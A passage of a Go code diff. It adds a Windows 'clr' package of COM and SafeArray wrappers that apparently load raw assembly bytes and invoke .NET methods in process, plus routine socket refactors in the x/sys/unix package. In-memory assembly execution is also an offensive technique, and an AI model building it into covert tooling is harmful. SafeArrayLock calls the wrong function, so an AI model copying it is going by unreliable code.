// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
|
||||
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
|
||||
debugPrint("Entering into methodinfo.Invoke_3()...")
|
||||
var pRetVal *Variant
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Invoke_3,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&variantObj)),
|
||||
uintptr(unsafe.Pointer(parameters)),
|
||||
uintptr(unsafe.Pointer(pRetVal)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
|
||||
// This currentl doesn't work
|
||||
if uint32(hr) == COR_E_TARGETINVOCATION {
|
||||
var iSupportErrorInfo *ISupportErrorInfo
|
||||
// See if MethodInfo supports the ISupportErrorInfo interface
|
||||
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
|
||||
if err != nil {
|
||||
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
|
||||
// Not sure if there is an Interface ID for MethodInfo
|
||||
err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Get the IErrorInfo object
|
||||
iErrorInfo, errG := GetErrorInfo()
|
||||
if errG != nil {
|
||||
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
|
||||
return err
|
||||
}
|
||||
|
||||
// Read the IErrorInfo description
|
||||
desc, errD := iErrorInfo.GetDescription()
|
||||
if errD != nil {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
|
||||
return err
|
||||
}
|
||||
if desc == nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
if pRetVal != nil {
|
||||
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetString returns a string that represents the current object
|
||||
// a string version of the method's signature
|
||||
// public virtual string ToString ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
|
||||
func (obj *MethodInfo) GetString() (str string, err error) {
|
||||
debugPrint("Entering into methodinfo.GetString()...")
|
||||
var object *string
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.get_ToString,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&object)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
str = ReadUnicodeStr(unsafe.Pointer(object))
|
||||
return
|
||||
}
|
||||
+340
@@ -0,0 +1,340 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// SafeArray represents a safe array
|
||||
// defined in OAIdl.h
|
||||
// typedef struct tagSAFEARRAY {
|
||||
// USHORT cDims;
|
||||
// USHORT fFeatures;
|
||||
// ULONG cbElements;
|
||||
// ULONG cLocks;
|
||||
// PVOID pvData;
|
||||
// SAFEARRAYBOUND rgsabound[1];
|
||||
// } SAFEARRAY;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
|
||||
// https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/march/introducing-the-safearray-data-structure
|
||||
type SafeArray struct {
|
||||
// cDims is the number of dimensions
|
||||
cDims uint16
|
||||
// fFeatures is the feature flags
|
||||
fFeatures uint16
|
||||
// cbElements is the size of an array element
|
||||
cbElements uint32
|
||||
// cLocks is the number of times the array has been locked without a corresponding unlock
|
||||
cLocks uint32
|
||||
// pvData is the data
|
||||
pvData uintptr
|
||||
// rgsabout is one bound for each dimension
|
||||
rgsabound [1]SafeArrayBound
|
||||
}
|
||||
|
||||
// SafeArrayBound represents the bounds of one dimension of the array
|
||||
// typedef struct tagSAFEARRAYBOUND {
|
||||
// ULONG cElements;
|
||||
// LONG lLbound;
|
||||
// } SAFEARRAYBOUND, *LPSAFEARRAYBOUND;
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearraybound
|
||||
type SafeArrayBound struct {
|
||||
// cElements is the number of elements in the dimension
|
||||
cElements uint32
|
||||
// lLbound is the lowerbound of the dimension
|
||||
lLbound int32
|
||||
}
|
||||
|
||||
// CreateSafeArray is a wrapper function that takes in a Go byte array and creates a SafeArray containing unsigned bytes
|
||||
// by making two syscalls and copying raw memory into the correct spot.
|
||||
func CreateSafeArray(rawBytes []byte) (*SafeArray, error) {
|
||||
debugPrint("Entering into safearray.CreateSafeArray()...")
|
||||
|
||||
safeArrayBounds := SafeArrayBound{
|
||||
cElements: uint32(len(rawBytes)),
|
||||
lLbound: int32(0),
|
||||
}
|
||||
|
||||
safeArray, err := SafeArrayCreate(VT_UI1, 1, &safeArrayBounds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// now we need to use RtlCopyMemory to copy our bytes to the SafeArray
|
||||
modNtDll := syscall.MustLoadDLL("ntdll.dll")
|
||||
procRtlCopyMemory := modNtDll.MustFindProc("RtlCopyMemory")
|
||||
|
||||
// TODO Replace RtlCopyMemory with SafeArrayPutElement or SafeArrayAccessData
|
||||
|
||||
// void RtlCopyMemory(
|
||||
// void* Destination,
|
||||
// const void* Source,
|
||||
// size_t Length
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory
|
||||
_, _, err = procRtlCopyMemory.Call(
|
||||
safeArray.pvData,
|
||||
uintptr(unsafe.Pointer(&rawBytes[0])),
|
||||
uintptr(len(rawBytes)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return safeArray, nil
|
||||
}
|
||||
|
||||
// SafeArrayCreate creates a new array descriptor, allocates and initializes the data for the array, and returns a pointer to the new array descriptor.
|
||||
// SAFEARRAY * SafeArrayCreate(
|
||||
// VARTYPE vt,
|
||||
// UINT cDims,
|
||||
// SAFEARRAYBOUND *rgsabound
|
||||
// );
|
||||
// Varient types: https://docs.microsoft.com/en-us/windows/win32/api/wtypes/ne-wtypes-varenum
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraycreate
|
||||
func SafeArrayCreate(vt uint16, cDims uint32, rgsabound *SafeArrayBound) (safeArray *SafeArray, err error) {
|
||||
debugPrint("Entering into safearray.SafeArrayCreate()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procSafeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
ret, _, err := procSafeArrayCreate.Call(
|
||||
uintptr(vt),
|
||||
uintptr(cDims),
|
||||
uintptr(unsafe.Pointer(rgsabound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
|
||||
if ret == 0 {
|
||||
err = fmt.Errorf("the OleAut32!SafeArrayCreate function return 0x%x and the SafeArray was not created", ret)
|
||||
return
|
||||
}
|
||||
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
safeArray = (*SafeArray)(unsafe.Pointer(ret))
|
||||
return
|
||||
}
|
||||
|
||||
// SysAllocString converts a Go string to a BTSR string, that is a unicode string prefixed with its length.
|
||||
// Allocates a new string and copies the passed string into it.
|
||||
// It returns a pointer to the string's content.
|
||||
// BSTR SysAllocString(
|
||||
// const OLECHAR *psz
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-sysallocstring
|
||||
func SysAllocString(str string) (unsafe.Pointer, error) {
|
||||
debugPrint("Entering into safearray.SysAllocString()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
sysAllocString := modOleAuto.MustFindProc("SysAllocString")
|
||||
|
||||
input := utf16Le(str)
|
||||
ret, _, err := sysAllocString.Call(
|
||||
uintptr(unsafe.Pointer(&input[0])),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
// TODO Return a pointer to a BSTR instead of an unsafe.Pointer
|
||||
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
|
||||
return unsafe.Pointer(ret), nil
|
||||
}
|
||||
|
||||
// SafeArrayPutElement pushes an element to the safe array at a given index
|
||||
// HRESULT SafeArrayPutElement(
|
||||
// SAFEARRAY *psa,
|
||||
// LONG *rgIndices,
|
||||
// void *pv
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayputelement
|
||||
func SafeArrayPutElement(psa *SafeArray, rgIndices int32, pv unsafe.Pointer) error {
|
||||
debugPrint("Entering into safearray.SafeArrayPutElement()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayPutElement := modOleAuto.MustFindProc("SafeArrayPutElement")
|
||||
|
||||
hr, _, err := safeArrayPutElement.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&rgIndices)),
|
||||
uintptr(pv),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayPutElement call returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayLock increments the lock count of an array, and places a pointer to the array data in pvData of the array descriptor
|
||||
// HRESULT SafeArrayLock(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraylock
|
||||
func SafeArrayLock(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayLock()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayCreate := modOleAuto.MustFindProc("SafeArrayCreate")
|
||||
|
||||
hr, _, err := safeArrayCreate.Call(uintptr(unsafe.Pointer(psa)))
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return err
|
||||
}
|
||||
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the OleAut32!SafeArrayCreate function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SafeArrayGetVartype gets the VARTYPE stored in the specified safe array
|
||||
// HRESULT SafeArrayGetVartype(
|
||||
// SAFEARRAY *psa,
|
||||
// VARTYPE *pvt
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetvartype
|
||||
func SafeArrayGetVartype(psa *SafeArray) (uint16, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetVartype()...")
|
||||
|
||||
var vt uint16
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetVartype := modOleAuto.MustFindProc("SafeArrayGetVartype")
|
||||
|
||||
hr, _, err := safeArrayGetVartype.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&vt)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the OleAut32!SafeArrayGetVartype function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return vt, nil
|
||||
}
|
||||
|
||||
// SafeArrayAccessData increments the lock count of an array, and retrieves a pointer to the array data
|
||||
// HRESULT SafeArrayAccessData(
|
||||
// SAFEARRAY *psa,
|
||||
// void HUGEP **ppvData
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearrayaccessdata
|
||||
func SafeArrayAccessData(psa *SafeArray) (*uintptr, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayAccessData()...")
|
||||
|
||||
var ppvData *uintptr
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayAccessData := modOleAuto.MustFindProc("SafeArrayAccessData")
|
||||
|
||||
hr, _, err := safeArrayAccessData.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(unsafe.Pointer(&ppvData)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return nil, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return nil, fmt.Errorf("the oleaut32!SafeArrayAccessData function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return ppvData, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetLBound gets the lower bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetLBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plLbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetlbound
|
||||
func SafeArrayGetLBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetLBound()...")
|
||||
var plLbound uint32
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetLBound := modOleAuto.MustFindProc("SafeArrayGetLBound")
|
||||
|
||||
hr, _, err := safeArrayGetLBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plLbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetLBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plLbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayGetUBound gets the upper bound for any dimension of the specified safe array
|
||||
// HRESULT SafeArrayGetUBound(
|
||||
// SAFEARRAY *psa,
|
||||
// UINT nDim,
|
||||
// LONG *plUbound
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-safearraygetubound
|
||||
func SafeArrayGetUBound(psa *SafeArray, nDim uint32) (uint32, error) {
|
||||
debugPrint("Entering into safearray.SafeArrayGetUBound()...")
|
||||
|
||||
var plUbound uint32
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayGetUBound := modOleAuto.MustFindProc("SafeArrayGetUBound")
|
||||
|
||||
hr, _, err := safeArrayGetUBound.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
uintptr(nDim),
|
||||
uintptr(unsafe.Pointer(&plUbound)),
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return 0, err
|
||||
}
|
||||
if hr != S_OK {
|
||||
return 0, fmt.Errorf("the oleaut32!SafeArrayGetUBound function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return plUbound, nil
|
||||
}
|
||||
|
||||
// SafeArrayDestroy Destroys an existing array descriptor and all of the data in the array.
|
||||
// If objects are stored in the array, Release is called on each object in the array.
|
||||
// HRESULT SafeArrayDestroy(
|
||||
// SAFEARRAY *psa
|
||||
// );
|
||||
func SafeArrayDestroy(psa *SafeArray) error {
|
||||
debugPrint("Entering into safearray.SafeArrayDestroy()...")
|
||||
|
||||
modOleAuto := syscall.MustLoadDLL("OleAut32.dll")
|
||||
safeArrayDestroy := modOleAuto.MustFindProc("SafeArrayDestroy")
|
||||
|
||||
hr, _, err := safeArrayDestroy.Call(
|
||||
uintptr(unsafe.Pointer(psa)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function call returned an error:\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the oleaut32!SafeArrayDestroy function returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
var Debug = false
|
||||
|
||||
// checkOK evaluates a HRESULT code for a caller and determines if there was an error
|
||||
func checkOK(hr uintptr, caller string) error {
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("%s returned 0x%08x", caller, hr)
|
||||
} else {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// must forces the program to exit if there is an error using the log.Fatal command
|
||||
func must(err error) {
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func utf16Le(s string) []byte {
|
||||
enc := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
var buf bytes.Buffer
|
||||
t := transform.NewWriter(&buf, enc)
|
||||
t.Write([]byte(s))
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func expectsParams(input string) bool {
|
||||
return !strings.Contains(input, "Void Main()")
|
||||
}
|
||||
|
||||
// ReadUnicodeStr takes a pointer to a unicode string in memory and returns a string value
|
||||
func ReadUnicodeStr(ptr unsafe.Pointer) string {
|
||||
debugPrint("Entering into utils.ReadUnicodeStr()...")
|
||||
var byteVal uint16
|
||||
out := make([]uint16, 0)
|
||||
for i := 0; ; i++ {
|
||||
byteVal = *(*uint16)(unsafe.Pointer(ptr))
|
||||
if byteVal == 0x0000 {
|
||||
break
|
||||
}
|
||||
out = append(out, byteVal)
|
||||
ptr = unsafe.Pointer(uintptr(ptr) + 2)
|
||||
}
|
||||
return string(utf16.Decode(out))
|
||||
}
|
||||
|
||||
// debugPrint is used to print messages only when debug has been enabled
|
||||
func debugPrint(message string) {
|
||||
if Debug {
|
||||
fmt.Println("[DEBUG] " + message)
|
||||
}
|
||||
}
|
||||
|
||||
// PrepareParameters creates a safe array of strings (arguments) nested inside a Variant object, which is itself
|
||||
// appended to the final safe array
|
||||
func PrepareParameters(params []string) (*SafeArray, error) {
|
||||
sab := SafeArrayBound{
|
||||
cElements: uint32(len(params)),
|
||||
lLbound: 0,
|
||||
}
|
||||
listStrSafeArrayPtr, err := SafeArrayCreate(VT_BSTR, 1, &sab) // VT_BSTR
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i, p := range params {
|
||||
bstr, err := SysAllocString(p)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
SafeArrayPutElement(listStrSafeArrayPtr, int32(i), bstr)
|
||||
}
|
||||
|
||||
paramVariant := Variant{
|
||||
VT: VT_BSTR | VT_ARRAY, // VT_BSTR | VT_ARRAY
|
||||
Val: uintptr(unsafe.Pointer(listStrSafeArrayPtr)),
|
||||
}
|
||||
|
||||
sab2 := SafeArrayBound{
|
||||
cElements: uint32(1),
|
||||
lLbound: 0,
|
||||
}
|
||||
paramsSafeArrayPtr, err := SafeArrayCreate(VT_VARIANT, 1, &sab2) // VT_VARIANT
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = SafeArrayPutElement(paramsSafeArrayPtr, int32(0), unsafe.Pointer(¶mVariant))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return paramsSafeArrayPtr, nil
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
const (
|
||||
// VT_EMPTY No value was specified. If an optional argument to an Automation method is left blank, do not
|
||||
// pass a VARIANT of type VT_EMPTY. Instead, pass a VARIANT of type VT_ERROR with a value of DISP_E_PARAMNOTFOUND.
|
||||
VT_EMPTY uint16 = 0x0000
|
||||
// VT_NULL A propagating null value was specified. (This should not be confused with the null pointer.)
|
||||
// The null value is used for tri-state logic, as with SQL.
|
||||
VT_NULL uint16 = 0x0001
|
||||
// VT_UI1 is a Variant Type of Unsigned Integer of 1-byte
|
||||
VT_UI1 uint16 = 0x0011
|
||||
// VT_UT4 is a Varriant Type of Unsigned Integer of 4-byte
|
||||
VT_UI4 uint16 = 0x0013
|
||||
// VT_BSTR is a Variant Type of BSTR, an OLE automation type for transfering length-prefixed strings
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/9c5a5ce4-ff5b-45ce-b915-ada381b34ac1
|
||||
VT_BSTR uint16 = 0x0008
|
||||
// VT_VARIANT is a Variant Type of VARIANT, a container for a union that can hold many types of data
|
||||
VT_VARIANT uint16 = 0x000c
|
||||
// VT_ARRAY is a Variant Type of a SAFEARRAY
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/2e87a537-9305-41c6-a88b-b79809b3703a
|
||||
VT_ARRAY uint16 = 0x2000
|
||||
)
|
||||
|
||||
// from https://github.com/go-ole/go-ole/blob/master/variant_amd64.go
|
||||
// https://docs.microsoft.com/en-us/windows/win32/winauto/variant-structure
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-variant
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms891678(v=msdn.10)?redirectedfrom=MSDN
|
||||
// VARIANT Type Constants https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oaut/3fe7db9f-5803-4dc4-9d14-5425d3f5461f
|
||||
type Variant struct {
|
||||
VT uint16 // VARTYPE
|
||||
wReserved1 uint16
|
||||
wReserved2 uint16
|
||||
wReserved3 uint16
|
||||
Val uintptr
|
||||
_ [8]byte
|
||||
}
|
||||
+1
@@ -603,6 +603,7 @@ ccflags="$@"
|
||||
$2 ~ /^ITIMER_/ ||
|
||||
$2 !~ "WMESGLEN" &&
|
||||
$2 ~ /^W[A-Z0-9]+$/ ||
|
||||
$2 ~ /^P_/ ||
|
||||
$2 ~/^PPPIOC/ ||
|
||||
$2 ~ /^FAN_|FANOTIFY_/ ||
|
||||
$2 == "HID_MAX_DESCRIPTOR_SIZE" ||
|
||||
|
||||
+3
-9
@@ -215,18 +215,12 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
// Recvmsg not implemented on AIX
|
||||
sa := new(SockaddrUnix)
|
||||
return -1, -1, -1, sa, ENOSYS
|
||||
return -1, -1, -1, ENOSYS
|
||||
}
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
// SendmsgN not implemented on AIX
|
||||
return -1, ENOSYS
|
||||
}
|
||||
|
||||
+4
-31
@@ -325,10 +325,9 @@ func GetsockoptString(fd, level, opt int) (string, error) {
|
||||
//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
|
||||
//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error)
|
||||
|
||||
func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from Sockaddr, err error) {
|
||||
func recvmsgRaw(fd int, p, oob []byte, flags int, rsa *RawSockaddrAny) (n, oobn int, recvflags int, err error) {
|
||||
var msg Msghdr
|
||||
var rsa RawSockaddrAny
|
||||
msg.Name = (*byte)(unsafe.Pointer(&rsa))
|
||||
msg.Name = (*byte)(unsafe.Pointer(rsa))
|
||||
msg.Namelen = uint32(SizeofSockaddrAny)
|
||||
var iov Iovec
|
||||
if len(p) > 0 {
|
||||
@@ -352,29 +351,12 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
|
||||
}
|
||||
oobn = int(msg.Controllen)
|
||||
recvflags = int(msg.Flags)
|
||||
// source address is only specified if the socket is unconnected
|
||||
if rsa.Addr.Family != AF_UNSPEC {
|
||||
from, err = anyToSockaddr(fd, &rsa)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error)
|
||||
|
||||
func Sendmsg(fd int, p, oob []byte, to Sockaddr, flags int) (err error) {
|
||||
_, err = SendmsgN(fd, p, oob, to, flags)
|
||||
return
|
||||
}
|
||||
|
||||
func SendmsgN(fd int, p, oob []byte, to Sockaddr, flags int) (n int, err error) {
|
||||
var ptr unsafe.Pointer
|
||||
var salen _Socklen
|
||||
if to != nil {
|
||||
ptr, salen, err = to.sockaddr()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
func sendmsgN(fd int, p, oob []byte, ptr unsafe.Pointer, salen _Socklen, flags int) (n int, err error) {
|
||||
var msg Msghdr
|
||||
msg.Name = (*byte)(unsafe.Pointer(ptr))
|
||||
msg.Namelen = uint32(salen)
|
||||
@@ -571,12 +553,7 @@ func UtimesNano(path string, ts []Timespec) error {
|
||||
if len(ts) != 2 {
|
||||
return EINVAL
|
||||
}
|
||||
// Darwin setattrlist can set nanosecond timestamps
|
||||
err := setattrlistTimes(path, ts, 0)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
|
||||
err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
@@ -596,10 +573,6 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
|
||||
if len(ts) != 2 {
|
||||
return EINVAL
|
||||
}
|
||||
err := setattrlistTimes(path, ts, flags)
|
||||
if err != ENOSYS {
|
||||
return err
|
||||
}
|
||||
return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
|
||||
}
|
||||
|
||||
|
||||
+1
-40
@@ -141,16 +141,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
|
||||
func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
|
||||
func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
|
||||
|
||||
type attrList struct {
|
||||
bitmapCount uint16
|
||||
_ uint16
|
||||
CommonAttr uint32
|
||||
VolAttr uint32
|
||||
DirAttr uint32
|
||||
FileAttr uint32
|
||||
Forkattr uint32
|
||||
}
|
||||
|
||||
//sysnb pipe(p *[2]int32) (err error)
|
||||
|
||||
func Pipe(p []int) (err error) {
|
||||
@@ -282,36 +272,7 @@ func Flistxattr(fd int, dest []byte) (sz int, err error) {
|
||||
return flistxattr(fd, xattrPointer(dest), len(dest), 0)
|
||||
}
|
||||
|
||||
func setattrlistTimes(path string, times []Timespec, flags int) error {
|
||||
_p0, err := BytePtrFromString(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var attrList attrList
|
||||
attrList.bitmapCount = ATTR_BIT_MAP_COUNT
|
||||
attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
|
||||
|
||||
// order is mtime, atime: the opposite of Chtimes
|
||||
attributes := [2]Timespec{times[1], times[0]}
|
||||
options := 0
|
||||
if flags&AT_SYMLINK_NOFOLLOW != 0 {
|
||||
options |= FSOPT_NOFOLLOW
|
||||
}
|
||||
return setattrlist(
|
||||
_p0,
|
||||
unsafe.Pointer(&attrList),
|
||||
unsafe.Pointer(&attributes),
|
||||
unsafe.Sizeof(attributes),
|
||||
options)
|
||||
}
|
||||
|
||||
